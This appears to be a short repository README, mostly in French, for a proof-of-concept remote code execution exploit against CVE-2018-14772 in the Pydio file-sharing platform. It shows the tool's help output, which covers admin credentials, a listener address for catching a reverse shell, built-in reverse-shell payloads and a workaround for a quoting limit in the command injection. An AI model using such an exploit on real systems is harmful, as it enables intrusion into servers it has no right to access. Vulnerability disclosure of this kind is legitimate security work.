killvxk/cve-2018-14772RCE exploit for CVE-2018-14772
Ceci est un PoC d'exploitation d'exécution de code à distance pour CVE-2018-14772, une vulnérabilité que j'ai découverte dans la plateforme de partage de fichiers pydio. Elle nécessite des identifiants d'administrateur de l'application pydio pour fonctionner. Vous pouvez exécuter l'exploit comme suit :
$ python exploit.py -h
usage: exploit.py [-h] -t TARGET -u USERNAME -p PASSWORD -L LISTENER_IP -P
LISTENER_PORT [--payload PAYLOAD]
[*] exploit some pydio boxes (academically)
optional arguments:
-h, --help show this help message and exit
--payload PAYLOAD one of the pre-built reverse-shell payloads (1, 2, 3, 4,
or 5), or a custom command. keep in mind you can't use
the (") character as it breaks the injection
required arguments:
-t TARGET this is the target URI for the pydio instance..i.e.
http://127.0.0.1:31337/pydio/
-u USERNAME this is the username of the admin user
-p PASSWORD this is the password of the admin user
-L LISTENER_IP IP address to catch reverse shell on
-P LISTENER_PORT port to catch reverse shell on
J'ai intégré quelques charges utiles de reverse shell que vous pouvez essayer. De plus, vous pouvez utiliser des commandes shell personnalisées ad hoc. Gardez à l'esprit que l'utilisation du caractère " brisera l'injection de commande, vous devez donc contourner cette limitation.
trouvé sur mon blog ici